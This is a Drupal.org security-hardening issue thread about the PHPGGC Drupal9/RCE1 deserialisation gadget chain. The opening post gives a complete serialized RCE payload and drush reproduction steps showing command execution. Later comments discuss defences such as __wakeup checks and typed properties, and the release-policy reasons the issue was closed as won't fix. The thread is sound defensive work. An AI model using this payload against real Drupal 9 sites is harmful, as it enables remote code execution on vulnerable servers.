Problem/Motivation
This was initially posted as a private security issue, but it's been agreed that it can be a public security hardening.
In December 2022 the PHPGGC project added a D9 RCE gadget:
https://github.com/ambionics/phpggc/pull/141
$ ./phpggc -i Drupal9/RCE1
Name : Drupal9/RCE1
Version : -8.9.6 <= 9.4.9+
Type : RCE: Command
Vector : __destruct
Informations :
Guzzle and Laminas are required for this chain but are bundled by default in Drupal.
Uses a __destruct() to call __toString() and finally lands in a call_user_func_array after a few call jumps.
Tested on drupal versions from 8.9.6 up to 9.4.9 (latest), might work on slightly older versions.
./phpggc Drupal9/RCE1 <function> <parameter>
per the PR, this is the call stack it uses:
- \GuzzleHttp\Cookie\FileCookieJar->__destruct()
- \Laminas\Diactoros\RelativeStream->__toString()
- \GuzzleHttp\Psr7\PumpStream->getContents()
- \Drupal\Core\Config\CachedStorage->read()
- \Drupal\Component\DependencyInjection\Container->get()
- \Drupal\Component\DependencyInjection\Container->createService()
- call_user_func_array()
I've verified that this works on 9.5.x as of today.
In order for this to be exploitable, there needs to be an unsafe deserialisation vulnerability in the first place, so core is almost certainly not directly exploitable.
Steps to reproduce
A relatively simple way to reproduce this is using drush to simulate unsafe deserialisation.
Prepare the payload - note the flags to enable encoding and fast destruct (not tested if the latter is necessary):
$ ./phpggc Drupal9/RCE1 -f -s system id
a:2:{i:7%3BO:31:"GuzzleHttp\Cookie\FileCookieJar":1:{s:41:"%00GuzzleHttp\Cookie\FileCookieJar%00filename"%3BO:32:"Laminas\Diactoros\RelativeStream":1:{s:49:"%00Laminas\Diactoros\RelativeStream%00decoratedStream"%3BO:26:"GuzzleHttp\Psr7\PumpStream":2:{s:34:"%00GuzzleHttp\Psr7\PumpStream%00source"%3Bs:1:"1"%3Bs:34:"%00GuzzleHttp\Psr7\PumpStream%00buffer"%3BO:32:"Drupal\Core\Config\CachedStorage":2:{s:10:"%00*%00storage"%3BO:32:"Drupal\Core\Config\MemoryStorage":1:{s:13:"%00*%00collection"%3Bs:0:""%3B}s:8:"%00*%00cache"%3BO:46:"Drupal\Component\DependencyInjection\Container":1:{s:21:"%00*%00serviceDefinitions"%3Ba:1:{i:1000000%3Bs:68:"a:2:{s:7:"factory"%3Bs:6:"system"%3Bs:9:"arguments"%3Ba:1:{i:0%3Bs:2:"id"%3B}}"%3B}}}}}}i:7%3Bi:7%3B}
Then use drush php to call unserialize on it:
$ ddev drush php
Psy Shell v0.10.12 (PHP 7.4.33 — cli) by Justin Hileman
Drush Site-Install (Drupal 9.5.10-dev)
>>> var_dump(unserialize(urldecode('a:2:{i:7%3BO:31:"GuzzleHttp\Cookie\FileCookieJar":1:{s:41:"%00GuzzleHttp\Cookie\FileCookieJar%00filename"%3BO:32:"Laminas\Diactoros\RelativeStream":1:{s:49:"%00Laminas\Diactoros\RelativeStream%00decoratedStream"%3BO:26:"GuzzleHttp\Psr7\PumpStream":2:{s:34:"%00GuzzleHttp\Psr7\PumpStream%00source"%3Bs:1:"1"%3Bs:34:"%00GuzzleHttp\Psr7\PumpStream%00buffer"%3BO:32:"Drupal\Core\Config\CachedStorage":2:{s:10:"%00*%00storage"%3BO:32:"Drupal\Core\Config\MemoryStorage":1:{s:13:"%00*%00collection"%3Bs:0:""%3B}s:8:"%00*%00cache"%3BO:46:"Drupal\Component\DependencyInjection\Container":1:{s:21:"%00*%00serviceDefinitions"%3Ba:1:{i:1000000%3Bs:68:"a:2:{s:7:"factory"%3Bs:6:"system"%3Bs:9:"arguments"%3Ba:1:{i:0%3Bs:2:"id"%3B}}"%3B}}}}}}i:7%3Bi:7%3B}')));
uid=1000(mcdruid) gid=1000(mcdruid) groups=1000(mcdruid)
<warning>PHP Notice: Trying to get property 'data' of non-object in /var/www/html/core/lib/Drupal/Core/Config/CachedStorage.php on line 70</warning>
<warning>PHP Warning: call_user_func() expects parameter 1 to be a valid callback, function '1' not found or invalid function name in /var/www/html/vendor/guzzlehttp/psr7/src/PumpStream.php on line 160</warning>
<warning>PHP Notice: Trying to get property 'data' of non-object in /var/www/html/core/lib/Drupal/Core/Config/CachedStorage.php on line 70</warning>
<warning>PHP Warning: file_put_contents(): Filename cannot be empty in /var/www/html/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php on line 60</warning>
RuntimeException with message 'Unable to save file '
I've added some whitespace for clarity, but the important part is that we see the output of the id shell command.
Proposed resolution
laminas/diactoros were removed in https://www.drupal.org/project/drupal/issues/3255243 so this should not work in D10.
That means its shelf-life is fairy limited in terms of versions of Drupal core that have Security support. However, it might still be worth looking into whether changes can be made in the relevant Drupal components to avoid similar exploits being developed.
Remaining tasks
Make changes to Drupal components that avoid this abuse / exploitation.
User interface changes
n/a
API changes
n/a
Data model changes
n/a
Release notes snippet
required?
Issue fork drupal-3379512
Show commands
Start within a Git clone of the project using the version control instructions.
Or, if you do not have SSH keys set up on git.drupalcode.org:
Comments
Comment #2
mcdruid commentedPrevious exampled used PHP 7.4 - here's PHP 8.1 with D9:
Comment #3
mcdruid commentedHad a look at this with Drupal 9.5.x and have learned a few interesting (to me anyway) things.
If we run unserialize() as a script from a file instead of using drush php we get a more detailed stack trace.
We can also look at the unserialised object if we omit the --fast-destruct option when preparing the payload:
I'm then putting that into the script:
Running that with PHP 8.1.. here's the print_r of the object:
...and the stack trace / error messages:
Comment #4
mcdruid commentedI'll preface the following observations with "as far as I can see..." to avoid repeating that lots of times :) This is based on reading the PHP docs and some experimental tinkering.
Looking at the errors / messages:
If we look at the constructor for the
\Drupal\Core\Config\CachedStorage:I was initially thinking "so how can $cache be a string?".
Turns out that when the payload is being unserialized.. the constructor is not run, so the type hints / declarations don't offer any protection here.
That's why the exploit can get away with - e.g. creating properties on the objects that are not part of the constructor, and are not the correct types.
So for example.. https://github.com/ambionics/phpggc/blob/master/gadgetchains/Drupal9/RCE...
That's not what the upstream constructor does:
https://github.com/guzzle/psr7/blob/1.9.1/src/PumpStream.php#L46
So despite the fact that $buffer is a private property of this object which is set to a new BufferStream object when the constructor runs, the gadget is able to inject a completely different object into that property.
The chain is: https://github.com/ambionics/phpggc/blob/master/gadgetchains/Drupal9/RCE...
...and that's how we end up with CachedStorage object being treated as the $buffer within the PumpStream.
So given that, we're now effectively into collisions / overlaps between method names on different objects.
\GuzzleHttp\Psr7\BufferStreamhas aread()method, and so does\Drupal\Core\Config\CachedStorageSo that's how we end up with these steps in the call stack:
I think that's pretty clever.
Comment #5
mcdruid commentedSo what can we do about this?
Initially I thought we could try adding something like this to \Drupal\Core\Config\CachedStorage
My thinking being, if the constructor doesn't run, perhaps instead we can use
__wakeup()to do a sanity check on the object properties.https://www.php.net/manual/en/language.oop5.magic.php#object.wakeup
However this sadly does not seem to work. I'm not entirely sure why.
It does work if we check the property within the read method too:
Now if I run the test script:
I'm not sure why this is, but it looks like doing the check only in __wakeup is not sufficient.
I'm just experimenting at this stage; I don't think we actually want to add pre-flight checks to every method that could be abused... it's a shame if we can't do so with __wakeup on certain classes though.
Am I missing something here?
Comment #6
mcdruid commentedI'm wondering whether the fact that
__wakeup()is apparently not being called in time to prevent the exploit is because of something like this:https://github.com/php/php-src/issues/9618
Doing a basic test of creating a valid object, and running it through serialize/unserialize suggests that the check should work.
This is pretty crude but...
Then in \Drupal\Core\Config\CachedStorage deliberately set the cache property to something invalid and do the check at the same time in __wakeup():
Running the script:
All quite rudimentary but suggests to me that when the object is unserialized, its __wakeup() method should be running (which is how it should work based on my understand of the PHP docs).
Perhaps it's because multiple other errors are happening when the payload is unserialized that it's apparently not running before the exploit successfully calls call_user_func_array() in \Drupal\Component\DependencyInjection\Container::createService ?
Comment #7
mcdruid commentedSome of the comments in the linked PHP issue https://github.com/php/php-src/issues/9936 suggest that this is a feature not a bug... e.g:
Which is fine if you control the entire application... a bit more tricky if you're trying to write a secure framework that others extend and sometimes do ill-advised things with :)
Short of adding checks all over the place to ensure that unexpected things have not been injected into (even private, type-hinted) properties, I'm not certain what else Drupal can do to protect against this sort of abuse.
We could add specific code to prevent this particular chain (which won't work in D10 as some of the dependencies have been removed), but is there any more general hardening we can do?
Comment #8
mcdruid commentedFWIW other projects do seem to use
__wakeup()to protect classes - e.g.:https://github.com/guzzle/psr7/blob/2.6/src/FnStream.php#L61
...and symfony has several methods like these:
https://github.com/symfony/process/blob/6.3/Process.php#L203
https://github.com/symfony/http-kernel/blob/6.3/Kernel.php#L838
...although it's less clear whether those are always security protections.
Comment #9
mcdruid commentedChanging to 9.5.x for now as we know that some of the classes in the chain are no longer in D10.
Comment #11
mcdruid commentedHere's an MR with a small check in
\Drupal\Component\DependencyInjection\Container::createServicethat should bail out under the very specific conditions created by the gadget chain.I don't think it'd be too hard to work around this and end up passing arbitrary input to
call_user_func_array()elsewhere in the method, but this would at least stop the existing gadget from working.I did also try implementing
__wakeup()in the Container class, but again without success.Comment #12
mcdruid commented...jumping through hoops to try avoid the lint-type checks.
I'm not certain we'd want to implement this check exactly like this anyway - this is a bit of a proof of concept to block the exploit.
We may want to avoid the check relying on
$definition['factory']for example; as mentioned I think an attacker could use a variation to pass their input to one of the other calls tocall_user_func[_array].I'm also not sure if there's a better way of sanity-checking the call stack than using strings in a backtrace like this?
Comment #14
mcdruid commentedTrying out adding type-hints to the properties on \Drupal\Core\Config\CachedStorage per suggestion by @cmlara in chat.
It looks like this prevents the exploit from running, but it could have an impact on minimum required PHP version etc..
Does it break anything in the test suite?
Comment #15
mcdruid commentedTest results between #12 and #13 show that this works okay on PHP 7.4 but not 7.3 where we end up with errors like:
I'm not sure whether this is acceptable given the minimum PHP requirements for 9.5.x which currently say:
https://www.drupal.org/docs/getting-started/system-requirements/php-requ...
I'm not sure if we can minimise incompatibility by trying to provide different definitions for the properties depending on PHP versions. Sounds a bit messy.
I am also not aware of whether there is an overall initiative to add type-hinting to class properties in D10.
Comment #16
mcdruid commentedSee #3291517: [policy, no patch] Use type declarations for new class properties and linked issues.
Looks to me like we'd be okay to propose adding the typed properties (and removing the redundant annotation) here.
...and it sounds like the idea would be to do this in new classes as opposed to sweeping through existing code?
One question is whether we'd get this into 9.5.x for
Drupal\Core\Config\CachedStorageDoing so would stop the gadget from working, so I'd argue it'd be worth doing. It would mean PHP 7.4 or later would be required though, unless we did some sort of BC layer.
Comment #17
mcdruid commentedChatted with @longwave about this.
9.5.x is Security support only, and that's only for about another 3 months.
This is hardening as opposed to a patch for an exploitable vulnerability, so it's not worth doing a security release of 9.5 just for this.
We also cannot knowingly break support for PHP 7.3 in 9.5.x, which adding the type declarations on the class properties would do.
So I don't think this is going to be addressed in 9.5.x
I've added a comment in #3278431-38: [May 2026] Use PHP 8 constructor property promotion for existing code to +1 adding type declarations on class properties in D10, mentioning that it would help avoid deserialisation gadget chains like this one.
I think that might be it for this issue... and we can probably close it as "won't fix".
Thank you to everyone that helped explore the options.
Comment #18
mcdruid commentedComment #19
mxr576Redirecting issue reference as per https://www.drupal.org/project/coding_standards/issues/3291517#comment-1...
Comment #20
smustgrave commentedThanks for updating the related issue.
Restoring previous status though as not sure what's new to review? @mcdruid mentioned in #17 why he closed?
Comment #21
mxr576Ahh sorry, I have changed the status by accident.
Comment #22
mcdruid commentedRe-opening following a discussion with some of the Security Team, including @effulgentsia.
Would the Release Managers consider a final release of 9.5.x which added the typed properties in the relevant class, on the basis that this release would not be compatible with PHP 7.3 but would be protected from this PHP gadget?
The idea would be any sites that are stuck on 9.5 for a while (for whatever reason) could deploy that release for a little extra protection so long as they were not relying on compatibility with PHP 7.3.
Comment #23
longwaveTagging and will raise this with the other RMs.
Comment #24
catchIf we release on 9.5.x and drop support for PHP 7.3, that would prevent us from releasing any 9.5 security fix that's compatible with 7.3, unless we do something completely bizarre with tags.
So the only way I could see this working without a hard drop of PHP 7.3 support would be to release Drupal 9.6 three months before EOL, which doesn't seem good either.
Seems like this would introduce real problems to fix a theoretical one.
Comment #25
effulgentsia commentedTo be clear, the idea in #22 would be to make the release in Nov. 2023, exactly on the EOL date (or very close to it). Whether we call that 9.5.LAST or 9.6. Essentially it would be saying, D9 is EOL so our promise of PHP 7.3 support until EOL has been fulfilled. But since we know that some people do in fact continue running EOL versions for a while, we'd be helping to give those people a little extra defense in depth from RCE.
Comment #26
catchThat makes more sense, but it doesn't really change the evaluation. Let's say Symfony or ckeditor4 does a security release on December 1st a week after this final 9.5 release comes out, something for which we'd probably do a 'bonus' release of 9.5 of beyond its EOL date, what do we do then?
Comment #27
effulgentsia commentedI'd say we do that bonus release, and people on PHP 7.3 are out of luck. I don't think there's any good reason for us to still be supporting PHP 7.3 other than we said we would until November.
Comment #28
catchIf we make the release dropping PHP 7.3 a bonus release too (i.e. the day after whatever the 'official' EOL date is), then that would probably be fair enough on the PHP 7.3 front.
Comment #29
longwaveI haven't read mcdruid's comments in detail.but is there no other compatible way of protecting against this, e.g. adding an instanceof check somewhere in the exploitable chain of methods?
Comment #30
mcdruid commentedI tried a few things along those lines - e.g. in #5 adding a check like this to a
_wakeup()method in the\Drupal\Core\Config\CachedStorageclass:That didn't seem to work; it looks like the wakeup method isn't called early enough to prevent the exploit if that's the only protection that's added (not especially clear on the details of why, but I added some notes in earlier comments).
I also tried adding similar checks to the
\Drupal\Core\Config\CachedStorage::read()method that's actually called in the exploit chain.I think that does work, but it seems far from ideal to be doing that every time the method is called as opposed to only when an object is woken from serialisation.
Perhaps if the cost is not as bad as I'm assuming, that'd be a way to add protection without requiring PHP > 7.3 though.
Comment #31
mcdruid commentedI also wondered if we could do something like:
...but apparently not.
Comment #32
catchThe whole class can be defined in an if statement, but yeah not methods/parameters.
Comment #33
mcdruid commentedLooks like this can be "Closed (won't fix)" as there are no plans for further D9 releases (and it's not obvious what we'd do to fix it without changing minimum PHP requirements or adding ugly workarounds).
Another reason not to stay on D9.